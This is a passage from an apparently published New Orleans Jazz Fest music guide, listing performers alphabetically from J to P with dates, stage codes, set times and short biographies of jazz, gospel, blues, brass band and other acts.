Sony/RED-distributed Big Picnic Records and have released four albums in the past two years. Their unusual combination of boleros, folk, R&B and rock made them a standout at last year’s Bonnaroo festival. The Johnson Extension, 4/29, GOS, 5:10p: New Orleans spiritual leader and matriarch Rev. Lois Dejean leads four generations of family members in sacred song. Jon Batiste & Stay Human, 4/29, ACU, 3:25p: This charismatic, New Orleans-born pianist was already at work redefining the boundaries of jazz and performance art with his band’s “love riots” and “social music” when Stephen Colbert tapped him for The Late Show. His Stay Human Band performs interactive shows fueled by audience participation and positivity. See feature in this issue. Jon Cleary, 4/29, GEN, 1:40p: Since moving over from the UK in the ’80s, Cleary’s earned a place in the frontline of New Orleans blues singers and keyboardists. He won a Grammy Award for his CD GoGo Juice. His latest CD Live at Chicke Wah Wah was just released in time for Jazz Fest. Jonathon “Boogie” Long, 5/7, BLU, 12:05p: This soulful Baton Rouge-based blues guitar slinger has opened for B.B. King and performed with Dr. John, Kenny Neal and many others. The Jones Sisters, 5/4, GOS, 1:50p: Grade school-aged sisters Kayla, Kiera, Dalia and Dejon Jones comprise this gospel quartet, which first performed when the youngest sister was only two. Jonny Lang, 4/29, BLU, 5:25p: Lang’s first taste of musical success came when he released a hit record at 15. Since then, the guitarist has widened his scope beyond blues and expanded his songwriting skills, tapping into personal experience and social injustice on his new album, Fight For My Soul. Jonte Landrum and the Gentlemen, 5/7, GOS, 1:55p: This powerful young voice comes from a long line of gospel singers; Landrum’s grandmother Rev. Lois DeJean sang lead for the popular Johnson Extension. Josh Kagler & Harmonistic Praise Crusade, 4/28, GOS, 1p: The members of this New Orleans gospel group range from age 17-30 and claim they are “radical for Christ.” Jr. Hebert & the Maurice Playboys, 5/4, FDD, 11:15a: Accordionist Jr. Hebert has won Accordionist of the Year, Male Vocalist of the Year, Best First CD, Best Traditional CD of the Year and Band of the Year at the Annual Le Cajun Music Awards in Opelousas, Louisiana. Although his dad gave him his first accordion when he was in his late 20s he didn’t start playing it until he was in his mid-40s. Judith Owen & Krewe de Jude, 5/6, LAG, 5:15p: Singer songwriter and pianist Judith Owen is known for her musical variety, which she melds into a stylistic gumbo all her own. She says of her partner Harry Shearer, “I’m with somebody who makes me laugh.” Her latest recording, Somebody’s Child, was released in March. Julio y Cesar Band, 4/30, LAG, 12:55p: These local brothers do Latin-American music on twin classical guitars, and have lately expanded from duo to band. K Kai Knight’s Silhouette Dance Ensemble, 5/7, KID, 1:50p: New Orleans troupe that aims to teach young African-American woman about positive image and self-expression through dance. Kamau & Spirit of the Drums, 5/4, KID, 11:30p: The story of the African drum, the tambourine, and the bass drum in the street rituals and celebrations of New Orleans is told with original poetry and songs. Kat Walker Jazz Band: Scat with Miss Kat, 5/5, KID, 11:30p: Kids learn the art of scat singing with a live band, live-action jazz karaoke style. Kathy Taylor and Favor, 4/28, GOS, 3:55p: Taylor is a singer and choir leader from the Windsor Village United Methodist Church in Houston. Keep N It Real SA&PC, 4/28, PAR? 12:20p: This young Bayou St. John-based parade club features solid dancers and parades with some of the best brass bands in town. Keith Frank & the Soileau Zydeco Band, 5/4, FDD, 1:40p: Frank leads his hard-driving zydeco band, which formed in 1990. Kenny Barron Trio, JAZ, 4:05p: Giant of modern jazz, this pianist made a name for himself backing Dizzy Gillespie in the 1960s. Since then, Barron’s presence on the jazz scene has been almost uninterrupted. With hundreds of records as both leader and sideman under his belt, he is considered onw of the most influential jazz musicians of his era. Kenny Bill Stinson & the Ark-LA-Mystics, 5/7, LAG, 3:50p: Guitarist and singer Stinson performs a range of Western Louisiana-rooted rock, country and rockabilly. Kenny Neal, 4/29, BLU, 1:10p: Local guitar-slinger and multi-instrumentalist Neal’s brand of laid-back swamp blues landed him an induction into the Louisiana Music Hall of Fame. Kenny Wayne Shepherd Band, 5/6, BLU, 5:40p: Shepherd has been impressing audiences with his blues guitar prowess since he was 13. Nearly three decades later he’s earned a reputation as one of the finest guitarists in blues, with seven number one blues albums and five Grammy nominations to his name. Kermit Ruffins & the Barbeque Swingers, 5/7, ACU, 3:30p: One of New Orleans’ most beloved trumpeters and personalities, Ruffins digs swingin’, smokin’ and partyin’ … traditional style. Kermit Ruffins’ Tribute to Louis Armstrong, 5/7, ECO, 4:20p: Ruffins shows off his more serious side in this set devoted to his hero, Satchmo. Khari Allen Lee & the New Creative Collective, 5/7, JAZ, 12:20p: This jazz-trained saxophonist and multi-instrumentalist performs spiritually-inspired music from the collective’s third album New Earth. Lately, Lee has recorded with Dr. John, Terence Blanchard, Bobby Rush and Delfeayo Marsalis. Kid Simmons’ Local International Allstars, 4/28, ECO, 11:15a: An early devotee of George “Kid Sheik” Cola, trumpeter Simmons has been active in traditional jazz since his arrival in New Orleans in 1966 and cut his teeth in Harold Dejean’s Olympia Brass Band and the Young Tuxedo Brass Band. KID smART Student Showcase, 4/28, KID, 12:40p: This organization brings arts initiatives to a range of public schools in Orleans and Jefferson Parishes, and its student groups have been a fixture at the kids’ tent. Kim Carson and the Real Deal, 4/28, LAG, 4:20p: A longtime New Orleans local who now resides in Houston, Carson is a classic-model honky-tonk angel, able to charm with bawdy humor and then break hearts with a ballad. Kim Che’re, 5/6, GOS, 1p: This local gospel singer (via New York) has worked as Minister of Music for groups including New Home Full Gospel Ministries, Beacon Light of Hammond and Greater Mount Calvary Church; she’s contributed to the Gospel Music Workshop of America since 1978. Kinfolk Brass Band, 5/6, J&H, 1:40p: Formed in 2006, the Kinfolk are true to the traditional brass-band sound, performing classics like “Bourbon Street Parade” and “I’ll Fly Away” along with their originals. King James & the Special Men, 5/5, LAG, 5:20p: These purveyors of classic New Orleans R&B are known for digging up and reinvigorating rare gems from the ‘40s and ‘50s in their high-powered, soul-soaked live shows. Kings of Leon, 5/7, ACU, 3:35p: Comprised of three brothers and one cousin (or maybe one man and three cousins depending on how you look at it) Kings of Leon first rose to prominence with a gritty Southern rock sound. Incorporating alternative and stadium rock into the mix has only increased their popularity, making headlining slots at major festivals a regular occurrence. Kristin Diable & the City, 4/28, GEN, 11:20a: This deep-voiced Baton Rouge native made a name for herself in New York City’s singer songwriter community before returning to New Orleans. NPR likened her singing on 2015’s Create Your Own Mythology to that of a lighter hearted Amy Winehouse. Kumbuka African Dance & Drum Collective, 4/28, J&H, 11:20a: Founded in 1983 and based in New Orleans, this troupe brings African music and dance to grade schools throughout Louisiana; members range from ages 10 to 55. L Ladies of Unity SA&PC, 4/28, PAR, 4p: These lady steppers hail from Uptown and call the famous Sportsman’s Lounge on 2nd and Dryades their HQ. Lady & Men Rollers SA&PC, 5/5, PAR, 12:10p: Uptown-based social aid and pleasure club. Lady Jetsetters SA&PC, 5/7, PAR, 1:45p: Uptown’s Lady Jetsetters Social Aid and Pleasure Club recently celebrated their 25th anniversary. Lake Area High School “Singing Leopards”, 5/4, GOS, 12:10p: The Singing Leopards are led by choir director Jessica Harvey who also fronts her own gospel group. Lake Area New Tech Early College High School is in the Gentilly area of New Orleans and was established in 2011. Lake Street Dive, 5/5, GEN, 2:05p: Gifted singer Rachel Price leads this outfit, and her considerable talents are bolstered by three incredible backing musicians. It’s really no surprise that this group, whose pop-tinged sound is reminiscent of ’60s favorites likeMotown and the Beatles, was trained at the prestigious New England Conservatory. See feature in this issue. Lakou Mizik of Haiti, 4/30, J&H, 2:55p: Lakou Mizik is a collective of Haitian musicians formed in the aftermath of the devastating 2010 earthquake. The group includes elder legends and rising young talents, united in a mission to honor the healing spirit of their collective culture and communicate a message of pride, strength and hope to their countrymen and the world. Landry Walker Charter High School Choir, 5/4, GOS, 1p: A 40-plus member gospel choir from the West Bank school whose brass band recently won $10,000 in the Class Got Brass competition. Lars Edegran & the New Orleans Ragtime Orchestra, 5/5, ECO, 12:30p: Formed in 1967 by Swedish-born pianist Lars Edegran, this band plays rags, cakewalks and other classic pieces from the original ragtime era. The Last Straws, 4/29, ECO, 11:15: This local seven-piece has been playing traditional New Orleans jazz for more than 50 years. Lawrence Sieberth presents Estrella Banda, 4/30, JAZ, 2:40p: New Orleans-based pianist and composer Sieberth has a knack for blending classical and world music with modern jazz. When he’s not leading his own projects, he performs regularly with Germaine Bazzle, Lena Prima and Gerald French. Leah Chase, 5/6, JAZ, 1:30p: A classically trained opera singer who turned to jazz, Chase is also the daughter of two of New Orleans’ most famous restaurateurs. Lee Konitz Quartet, 5/4, JAZ, 3:05p: The saxophonist has played through all jazz ages since the big band era, notably recording on Miles Davis’ Cool sessions. At 89 years old, Konitz released Frescalato in 2017, his 131st record as a leader. See feature in this issue. Leila Phillips Wild Apaches Mardi Gras Indians, 4/28, KID, 3p: From Mandeville, Louisiana, 15 year old jazz vocalist Leila Phillips is inspired by the repertoire of Ella Fitzgerald, Nina Simone and Amy Winehouse. Accompanying her will be a band coordinated by Damon Batiste. Leo Jackson & the Melody Clouds, 4/28, GOS, 2:50p: This family group was formed in 1965 and is now led by founder Leo Jackson’s son. It’s known for its rousing vocals and synchronized steps. Leon Bridges, 4/28, GEN, 3:10p: Leon Bridges’ brings ’50s and early ’60s-style soul and R&B to a younger audience with his captivating voice and confident stage presence. It doesn’t hurt that his mother’s hometown of New Orleans gets plenty of shout outs on his debut album, Coming Home. Leroy Jones & New Orleans’ Finest, 4/28, ECO, 3p: Jones draws on his experience with the Fairview Baptist Church Brass Band to play traditional New Orleans brass band music in a variety of popular bands around town, most of which perform regularly at Preservation Hall. Leyla McCalla, 5/5, LAG, 2:20p: This talented multi-instrumentalist and singer draws on the traditions of Haitian, Creole, Cajun and French music on her latest album, A Day For the Hunter, A Day for the Prey. It’s a socially aware and politically minded follow-up to her widely praised 2013 debut. Lil’ Buck Sinegal Blues Band with special guest Barbara Lynn, 4/30, BLU, 1:20p: Sinegal once led an R&B band that included a young Stanley “Buckwheat” Dural on organ. The blues guitarist seems to slip effortlessly into soulful grooves. Lil’ Nathan & The Zydeco Big Timers, 4/30, FDD, 12:20p: This young accordion player from Lafayette scored a regional hit with “That L’Argent,” a hip-hop flavored zydeco tune about the power of money. His dad is Nathan Williams of the Zydeco Cha Chas. Lisa Amos, 5/6, CON, 11:15a: New Orleans R&B, hip hop and pop singer Lisa Amos brings her soulful sound to Jazz Fest. Expect to hear her hit single “You Used to Love Me.” Little Freddie King Blues Band, 4/30, BLU, 12:10p: The Mississippi Delta-born King is a rocking juke-joint bluesman, a cousin of Lightnin’ Hopkins, one of the snappiest dressers you’ll see onstage, and a true Fest perennial. Little Freddie King Blues Band, 4/30, BLU, 12:10p: The Mississippi Delta-born King is a rocking juke-joint bluesman, a cousin of Lightnin’ Hopkins, one of the snappiest dressers you’ll see onstage, and a true Fest perennial. The Lone Bellow, 5/6, FDD, 4:15p: Zach Williams, Kanene Pipkin and Brian Elmquist comprise this popular Brooklyn-based alt-country trio. Lorde, 4/30, ACU, 5:45p: New Zealand native Lorde was only 16 when she scored a number one hit with her debut single “Royals” in 2013, making her the youngest solo artist to ever pull off the feat. With her 20th birthday now behind her, she’s gearing up to release her sophomore album in June, so expect some new material. Los Van Van, 5/6, CON, 3:35p: One of the best musical gifts of this year’s Cuban cultural focus, Los Van Van still reigns today as the island-nation’s most popular band of post-revolution era. They’re still going strong even after the death of bassist/bandleader Juan Formell in 2014. Lost Bayou Ramblers, 4/29, GEN, 11:15a: As their acclaimed Mammoth Waltz demonstrated, this young Cajun band celebrates its genre’s tradition while staying open to new technology and rock influences. Louis Ford & His New Orleans Flairs, 5/5, ECO, 11:20a: Clarinetist and saxophonist Ford’s father was Clarence Ford, who played with Fats Domino. He leads his old-time New Orleans jazz band through a set of traditional music Louisiana Repertory Jazz Ensemble, 4/29, ECO, 12:25p: Fred Star leads this local traditional jazz septet with a focus on tight arrangements of tunes by Sam Morgan and other music from the turn of the century. Loyola University Jazz Ensemble, 5/4, JAZ, 11:20a: Students from Loyola’s jazz program—the oldest in the city—make up this group. Luke Winslow King, 5/7, LAG, 12:50p: A Michigan native who studied music at UNO, Winslow-King is both a performer and musicologist, combining the sound of early 20th century New Orleans with the street smarts of a modern songwriter. Luther Kent & Trickbag, 4/30, BLU, 2:40p: This Southern-fried soul man, who fronted Blood, Sweat & Tears for a short stint in the ’70s, is best known for leading the funky Trickbag, which returned in 2013 after a few years’ hiatus. Lyle Henderson & Emmanu-EL, 4/30, 5:10p: A former radio DJ at R&B station FM98 and gospel station WYLD, Lyle Henderson also coordinates the gospel brunches at the House of Blues. M Maggie Koerner, 5/6, GEN, 11:20a: Koerner earned plenty of new fans when she held down the vocal role during a series of Galactic tours a few years back, but her powerful voice and intense stage presence make her solo shows equally exciting. See interview in this issue. Magnificent 7 with Dave Malone, John Papa Gros, Tommy Malone, Mark Mullins, Robert Mercurio, Raymond Weber, and Michael Skinkus, 4/30, ACU, 1:35p: Members of The Radiators, Galactic, Bonerama and Papa Grows Funk make this supergroup a funky force to reckoned with. Major Handy and the Louisiana Blues Band, 5/5, BLU, 11:10a: Blues and zydeco expert Handy hails from Lafayette, where he developed his accordion, bass, piano and singing chops. Marc Broussard, 4/29, ACU, 12:30p: The Lafayette singer/guitarist grew up around vintage swamp-pop, but has since found his niche with a mix of soulful roots music and adult-contemporary pop. He’s opened tours for both the Dave Matthews Band and Maroon 5. Marcia Ball, 5/4, GEN, 2:15p: A Jazz Fest perennial, the singer/pianist from Texas was recently nominated for the Pinetop Perkins Piano Player of the Year award at the 2014 Blues Music Awards. Margo Price, 5/5, FDD, 4:15p: Considered by many to be the hottest new thing in country music, Margo Price has real-deal roots. The daughter of a Midwestern farmer, she made that identity the title of country’s biggest debut album of 2016. Now she’s a globally touring, Grammy-nominated artist. Mariachi Jalisco US, 5/5, J&H, 1:15p: Baton Rouge-based alumni of Cuba’s Mariachi Real Jalisco reunite to perform music from their hometown of Havana. Mark Braud’s New Orleans Jazz Giants, 4/30, ECO, 1:40p: The musical director of the Preservation Hall Jazz Band, this trumpeter and vocalist leads a different cast of traditional jazz players for a change of pace. Maroon 5, 4/29, ACU, 5:15p: One of the biggest pop rock bands of the last 15 years, Maroon 5 has been a perennial festival headliner for some time now. The group has sold over 20 million albums, and has featured New Orleans native PJ Morton on keys since 2010. Their sixth studio album is currently in the works. The Mavericks, 4/30, FDD, 4:20p: During the ‘90s the Mavericks were one of the most successful groups in the country/Americana world, showcasing Raul Malo’s soaring voice on a string of hits like “O What a Thrill” and “There Goes My Heart.” After splitting for a over a decade, the band reunited and have produced two studio albums since. Maze featuring Frankie Beverly, 5/7, CON, 5:35p: Regular last-set headliner at Congo Square, this classic Philadelphia soul group’s connection with New Orleans goes back to at least 1981, when their live album was recorded at the Saenger Theatre. McDonogh 35 High School Gospel Choir, 5/4, GOS, 2:45p: Thursdays at Jazz Fest traditionally feature high-school choirs in the Gospel Tent, and this Treme school has been a regular. Directed by Veronica Downs-Dorsey, the choir has been the recipient of OffBeat’s Best of the Beat Award for Best Gospel for the last three years. Meghan Trainor, 5/6, GEN, 5:45p: The “All About That Bass” singer earned three top 10 singles with her 2015 debut, and one more with her 2016 follow-up. Men Buckjumpers SA&PC, 5/4, PAR, 1:20p: The Original New Orleans Lady Buckjumpers and Men Buckjumpers have been rolling for more than 30 years. Men of Class SA&PC, 5/4, PAR, 12:30p: This Uptown-based social aid and pleasure club has been parading for 12 years and counting. Meschiya Lake & the Little Big Horns, 4/28, ACU, 2:10p: Once a Royal Street performer, now a marquee name in the local traditional jazz scene, Lake and friends are getting more attention worldwide thanks to her vintage sass, great storytelling and gorgeously raw New Orleans feel. The Meters, 5/7, GEN, 5:30p: The Jazz Fest Meters reunion took place in 2015. Remember the caricatures on the cover of the Jazz Fest Bible? Leo hated his. Formed in 1965 with Art Neville, George Porter Jr., Leo Nocentelli and Zigaboo Modeliste, this band developed the sound that we know today as funk. The Meters acted as the house band for Allen Toussaint’s New Orleans soul classics of the ’60s and are responsible for bringing New Orleans’ second line grooves into popular music. Mia Borders, 4/30, GEN, 11:20a: A singer songwriter, and guitarist from New Orleans, Borders was named Best Female Vocalist at the last Best of the Beat Awards. She’s an impressive guitarist too. Michael Skinkus & Moyuba, 4/28, LAG, 11:30a: Percussionist Michael Skinkus explains that “Moyuba means to give thanks or praise.” The band will play music inspired by the Santeria ceremonies of Cuba. See feature in this issue. Midnite Disturbers, 4/30, J&H, 4:30p: It took drummers Kevin O’Day and Stanton Moore to corral a dozen of New Orleans’ busiest players into one wild brass band. Ben Ellman, Kirk Joseph, Trombone Shorty, Big Sam, Matt Perrine, Skerik and Mark Mullins should all be familiar names to Fest-goers. Millisia White’s New Orleans Baby Doll Ladies, 4/30, KID, 4:15p: This performance troupe is passionate about continuing the legacy of doll-masquerading during Mardi Gras. The City Of New Orleans honored Millisia White’s New Orleans Baby Doll Ladies’ with an official Mardi-Gras Day Walking Parade. Miss Sophie Lee & the Parish Suites, 5/6, LAG, 12:55p: One of the proprietors of the Three Muses restaurants, Lee applies a sultry vocal style to her chosen mixture of swing and traditional jazz. Her latest CD Traverse This Universe shows off her songwriting as well as interpretive skills. Her video for “Lovely In That Dress” was nominated for a Best of the Beat Award in 2016. Mohawk Hunters Mardi Gras Indians, 5/6, PAR, 1:30p: When he’s not sewing or masking, this tribe’s Big Chief, Tyrone Casby, serves as the Principal of the Youth Study Center at Orleans Parish Prison. Mokoomba of Zimbabwe, 4/28, CON, 3:40p: Hailing from Victoria Falls, Zimbabwe, Mokoomba performs a unique mix of traditional tonga and pan with dashes of rap, ska, soukous and Afro-Cuban music. The members include Mathias Muzaza (lead vocals), Ndaba Coster Moyo (drums), Trustworth Samende (guitar), Donald Moyo (keys), Miti Mugande (percussion) and Abundance Mutori (bass). Monogram Hunters, 4/30, PAR, 3:30p: Big Chief Tyrone “Pie” Stevenson recently returned to the Indian nation after a 15-year break. Motel Radio, 5/5, GEN, 11:20a: This young local quintet performs Americana with an indie rock streak. Their debut album Desert Surf Films was released last September. Mount Hermon Baptist Church Praise Delegation Choir, 5/5, GOS, 1:55p: Singers from this North Broad Street-based congregation have become Jazz Fest regulars in recent years. Mr. Sipp, 4/28, BLU, 12:30p: Singer songwriter and guitarist Castro Coleman, a.k.a. Mr. Sipp, is from McComb, Mississsippi. He started playing the guitar at age six. He has won several awards for his Malaco recordings and was featured in the James Brown movie Get On Up. Ms. Lisa Fischer & Grand Baton, 5/4, BLU, 5:45p: Lisa Fischer & Grand Baton’s music is an organic gumbo of progressive rock, psychedelic soul, and African, Middle Eastern, Caribbean rhythms and classical influences. Fischer is featured in the documentary Twenty Feet from Stardom, which shows a live performance of the song “Gimme Shelter” with Mick Jagger. Keith Richards says of Fischer, “has an amazing power, energy, and projection.” She won her first Grammy in 1991. Muévelo feat. Margie Perez, 5/4, LAG, 1:50p: Muevelo, which means “move it” in Spanish, is a nine-piece Latin music ensemble led by singer Margie Perez and saxophonist Brent Rose. Perez is a versatile singer who performs with many bands and embodies the energy and spirit of Celia Cruz. See food feature with Margie Perez in this issue. Muggivan School of Irish Dance, 4/29, KID, 1:50p: The Muggivan School of Irish Dance is under the direction of Joni Muggivan. The dancers at the Muggivan School are trained in competitive style Irish dancing, which allows them to compete on local, national, and international stages. The Mulligan Brothers, 4/29, LAG, 2:20p: This Americana-meets-country trio emphasizes strong melodies and original narratives. Their eponymous 2013 album earned high marks from critics in their hometown of Mobile, Alabama. N NAS with guests The Soul Rebels, 4/28, CON, 5:30p: Combining one of the most respected names in rap with one of the most respected bands in New Orleans brass music was always a great idea. This exciting collaboration made its debut at the Brooklyn Hip Hop Festival in Nas’ hometown, so it’s only natural that its second stop comes in The Soul Rebels’ hometown. See feature in this issue. Nathan & the Zydeco Cha-Chas, 5/5, FDD, 6p: Nathan Williams sprung from his brother’s club, El Sid O’s in Lafayette, to become one of zydeco’s biggest names—and to write its two greatest hog songs, “Zydeco Hog” and “Everything on the Hog is Good.” Native Nations Intertribal, 5/5, NAT, 12:55p, 2:30p, 5:35p; 5/6, 12:05p, 1:15p, 3:45p; 5/7, NAT, 1p, 2:20p, 3:45p: The late Barry Langley of Louisiana’s Coushatta Tribe founded this Native American dance troupe and educational collective, which performs Northern and Southern Plains-style dances. The hoop dance is particularly fun to watch. Naughty Professor, 5/5, ACU, 11:20a: This New Orleans-based six-piece plays a blend of funk, soul and rock that’s earned them a solid following on the jam band scene. Their recent collaborations with Jurassic 5’s Chali 2na, The Revivalists’ David Shaw, Mike Dillon and many more will be compiled in their upcoming album, Identity. Naydja CoJoe, 4/30, LAG, 11:30a: A New Orleans vocalist inspired by Billie Holiday and Patsy Cline, Naydja CoJoe performs jazz, country and R&B material. She’s also made a few TV appearances, includingone in the made-for-TV movie Christmas Angel where she portrayed Della Reese’s daughter. New Birth Brass Band, 4/29, GEN, 12:25p: Formed in the mid-’80s and led by bass drummer Cayetano “Tanio” Hingle, this band has made CDs with both Allen Toussaint and George Porter, Jr. Horn men Glen David Andrews and Trombone Shorty are alumni. New Breed Brass Band, 4/29, J&H, 2:45p: These high school marching band alums fold hip-hop, funk, and soul into the brass tradition at clubs and second lines around the city. New Generation Brass Band, 5/5, PAR, 12:10p: New Generation Brass Band will be parading with Lady & Men Rollers and Scene Boosters Social Aid & Pleasure Clubs. New Generation SA&PC, 5/6, PAR, 1:35p: The New Generation Social Aid and Pleasure Club’s annual Sunday parades roll through Uptown. New Leviathan Oriental Fox-Trot Orchestra, 4/30, ECO, 11:20a: A multi-generational, always-entertaining large ensemble that plays only ’90s music—as in the 1890s, when the shipboard dance music and early jazz they favor was first created. New Look SA & PC, 4/30, PAR, 4:20p: Kids aged 3-16 make up this branch of the Young Men Olympian, Jr. Benevolent Association. New Orleans Classic R&B Revue feat. Clarence “Frogman” Henry, Al “Carnival Time” Johnson, and Robert Parker with the Bobby Cure Band, 5/7, GEN, 11:20a: A few years ago OffBeat’s Best of the Beat Awards featured an R&B revue with Al “Carnival Time” Johnson, Robert Parker and many others. Although Robert Parker looked frail, he was amazing when he got on stage and sang his hit “Barefootin’.” New Orleans Gospel Soul Children, 5/6, GOS, 5:10p: Led by Craig Adams, this long-standing local gospel group delivers energetic and choreographed renditions of gospel standards. The New Orleans Groove Masters featuring Herlin Riley, Shannon Powell, and Jason Marsalis, 5/6, JAZ, 2:45p: Three of New Orleans’ finest jazz drummers make it look easy with this ensemble. The New Orleans Guitar Masters with Cranston Clements, Jimmy Robinson, and John Rankin, 5/5, LAG, 12:55p: Started six years ago, this group plays original music and unique versions of New Orleans rock hits. The band consists of guitarists Cranston Clements currently performing with Cyril Neville’s Swamp Band, music teacher at Loyola University John Rankin, and Jimmy Robinson of Woodenhead. The New Orleans Hip Hop Experience ft. Sqad Up, Denisia, Roca B and T – Ray The Violinist and Dreams 2 Reality, 4/30, CON, 12:30p: An assortment of New Orleans hip-hop artists come together to give outsiders a taste of what the city has to offer. New Orleans Jazz Vipers, 4/30, ECO, 5:35p: This swinging drum-less quintet brings a mix of still-timely standards like “Brother, Can You Spare a Dime?” and lesser known swing tunes to their long-running weekly gigs at the Spotted Cat. New Orleans Klezmer Allstars 25th Anniversary with special guests Henry Butler, Frank London and more, 5/7, FDD, 6p: Innovators of a funked-up localized take on traditional Jewish music, this band’s past and present members include scions of the city’s jazz and funk scenes. They’ll celebrate their anniversary with prestigious guests. New Orleans Mardi Gras Indian Rhythm Section, 5/5, PAR, 2:10p: Mardi Gras Indian parading ensemble. New Orleans Nightcrawlers Brass Band, 5/4, J&H, 4:25p: This funky brass band represents the genre’s adventurous edge and includes familiar faces from Bonerama and Galactic. Their last album, Slither Slice, combined funk, hip-hop, Indian chants and a general spirit of rejuvenation. New Orleans R&B Divas featuring The Dixie Cups & Wanda Rouzan, 5/5, BLU, 1:20p: New Orleans’ contribution to the ’60s girl-group sound, the Dixie Cups scored nationally with “Chapel of Love,” the follow-up, “People Say” and the Mardi Gras Indian-derived “Iko Iko.” They are joined by singer, actress and educator and champion of New Orleans’ R&B tradition Wanda Rouzan. New Orleans Spiritualettes, 4/30, GOS, 1p: Founded a half-century ago by still-current leader Ruby Ray, the Spiritualettes are the longest-active female gospel group in New Orleans. The New Orleans Suspects, 4/28, ACU, 12:50p: The New Orleans Suspects were formed in 2009 for a jam session at the Maple Leaf. At the time the band consisted of Radiators bassist Reggie Scanlan, Neville Brothers drummer “Mean” Willie Green, Dirty Dozen guitarist Jake Eckert, James Brown’s bandleader saxophonist Jeff Watkins and keyboardist CR Gruver. Recently bassist Eric Vogel has replaced Scanlan, but at last year’s Jazz Fest, Reggie joined the band, so he’ll probably be back this time around. Their latest CD Kaleidoscoped placed number seven in OffBeat’s Top CD of 2016. New Wave Brass Band, 4/28, PAR, 12:20p: Snare drummer Oscar Washington is at the helm of this updated traditional New Orleans brass band. Nicholas Payton & Afro-Caribbean Mixtape, 5/7, JAZ, 4:05p: In recent years, the #BAM proponent has shifted from trumpet to the keyboard chair, from which he often plays both instruments together. A savvy producer, he’s been delving into electronic music with an R&B sensitivity lately. The Afro-Caribbean Mixtape has influences of bebop, swing, Mardi Gras Indian and Afro-descended dialects. See feature in this issue. Nigel Hall, 4/29, CON, 1:55p: Soulful funk keyboardist and singer Hall moved to New Orleans from Maine in 2013 and was quickly welcomed as an ideal match for the sounds of the city. He’s worked with a slew of contemporary jam and funk acts including Soulive, Lettuce and the Warren Haynes Band. Nine Times Ladies Social Aid and Pleasure Club, 5/6, PAR, 11:45a: The women’s section of the Upper Ninth Ward parade club, the Nine Times. Nine Times Social Aid & Pleasure Club, 4/29, PAR, 4:15p: Formed in the 1980s, this downtown-based parade club is comprised of the 9 Times Men, 9 Times Ladies and Original 9 Times Ladies divisions. Nineveh Baptist Church Mass Choir, 5/4, GOS, 5:55p: Led by Reverend Sam Baker, this choir out of Metairie, Louisiana sings a unique blend of traditional gospel with contemporary songs set to a Caribbean beat. Ninth Ward Black Hatchet Mardi Gras Indians, 4/29, PAR, 3:15p: Mardi Gras Indian parade. Ninth Ward Hunter Mardi Gras Indians, 4/30, PAR, 3:30p: Big Chief Robbe, who has led four Indian tribes, created this Lower Ninth Ward-based group in the 1940s. NOCCA Jazz Ensemble, 4/30, JAZ, 11:10a: Student group from the secondary school whose graduates include Harry Connick, Jr., Nicholas Payton, Trombone Shorty and the Marsalis brothers. O Ole & Nu Style Fellas Social Aid and Pleasure Club, 5/7, PAR, 12:15p: The Ole & Nu Style Fellas roll through the Sixth Ward each April, coming out at the Ooh Poo Pa Doo Bar. Omosede Children’s Dance Theatre, 4/30, KID, 11:30a: The group, created by local choreographer, performer, and educator, Mama Baderinwa Rolland, has performed at Jazz Festival’s Kids Tent for many years. Omosede is a Nigerian word that translates to “A child is worth more than a king.” Their work is based on the Haitian Folktale “I’m Tipingi,” and is an interactive performance that integrates theater, music, song, and dance. One Love Brass Band, 4/28, LAG, 5:40p: This sprawling ensemble mixes the street-parade soul of New Orleans’ brass-band traditions with the Rastafarian vibe of Jamaica, playing a horn-heavy hybrid of reggae with originals and covers of Bob Marley and others. OperaCréole, 5/4, KID, 1:50p: This vocal ensemble focuses on lost or rarely performed operatic and classical music, often spotlighting the contributions of African-American and Creole artists throughout New Orleans’ history. Orange Kellin’s New Orleans DeLuxe Orchestra, 5/7, ECO, 12:30p: The clarinetist moved from Sweden to New Orleans in 1966; four years later he played at Louis Armstrong’s 70th birthday show. His group plays classic early jazz by King Oliver, Jelly Roll Morton and others. Original Big Seven SA&PC, 5/5, PAR, 4:15p: The Original Big 7s formed in 1995 in the St. Bernard housing development. Today, the Big 7 Cultural Heritage Division provides a creative and social center for the community’s youth. Original CTC Steppers SA&PC, 5/7, PAR, 12:15p: Named for their tradition of parading over the Industrial Canal, the CTC (Cross The Canal) Steppers hold one of the season’s most popular Sunday parades. Original Dixieland Jazz Band, 5/6, ECO, 12:25p: Bandleader and trumpeter Nick LaRocca leads this traditional New Orleans jazz band, founded nearly a century ago by his father. Original Four SA&PC, 5/5, PAR, 4:15: Founded in 1986, this social aid and pleasure club takes a unique and long route on its annual parade, marching from downtown all the way uptown through Central City. Original Lady Buckjumpers SA&PC, 5/7, PAR, 3p: The Original New Orleans Lady Buckjumpers and Men Buckjumpers recently celebrated their 32nd anniversary parade. Original Pinettes Brass Band, 5/6, J&H, 4:15p: Billed as “The World’s Only All Female Brass Band,” the Pinettes were formed by a group of students at St. Mary’s Academy in 1991. They won the Red Bull Street Kings brass competition in 2013. P Palm Court Jazz Allstars with Sammy Rimington, 4/30, ECO, 2:55p: The house band from the Palm Court, long the HQ of trumpeter Lionel Ferbos, brings their brand of traditional New Orleans jazz to the Fest along with English reedman Rimington, a longtime proponent of the genre’s revival. Palmetto Bug Stompers, 4/28, ECO, 4:15p: Heavy-hitters like trumpeter Will Smith join the inimitable Washboard Chaz Leary in his traditional New Orleans jazz ensemble. Panorama Jazz Band, 5/6, J&H, 12:20p: Influenced by styles from around the globe, this hip band comprised of top local instrumentalists blends New Orleans jazz traditions with klezmer, Latin and Balkan sounds. Papo y Son Mandao, 5/4, J&H, 3:05p: Born in Cuba, guitarist Alexis Muñoz Guevara “Papo” is self-taught. He began working as a professional musician in 1993 when he joined the group Trio En Sueño. In 2012 he immigrated to Louisiana. His repertoire encompasses multiple musical genres, including Latin Jazz, salsa, Cha-Cha-Cha and more. Pastor Douglas Noel & Friendz, 4/29, GOS, 6:05p: From Hazlehurst, Mississippi, Pastor Douglas Noel & Friendz formed the gospel group in the ’90s. They have received numerous awards and recognitions, from President Obama, Governors and more. Pastor Jai Reed, 5/5, GOS, 5:10p: New Orleans Baptist minister Reed is a soulful singer in the Stevie Wonder tradition, approaching gospel with a contemporary R&B influence. Pastor Terry Gullage & the Greater Mt. Calvary Voices of Redemption, 4/28, GOS, 6:05p: From a young age, Elder Terry Gullage knew he had a gift for music. He leads the choir from this church in Marrero. Pastor Tyrone Jefferson, 4/28, GOS, 12:05p: This New Orleans native is the Senior Pastor of the Abundant Life Tabernacle Full Gospel Baptist Church and the CEO of Abundant Life Ministries. His extensive work serving the community has 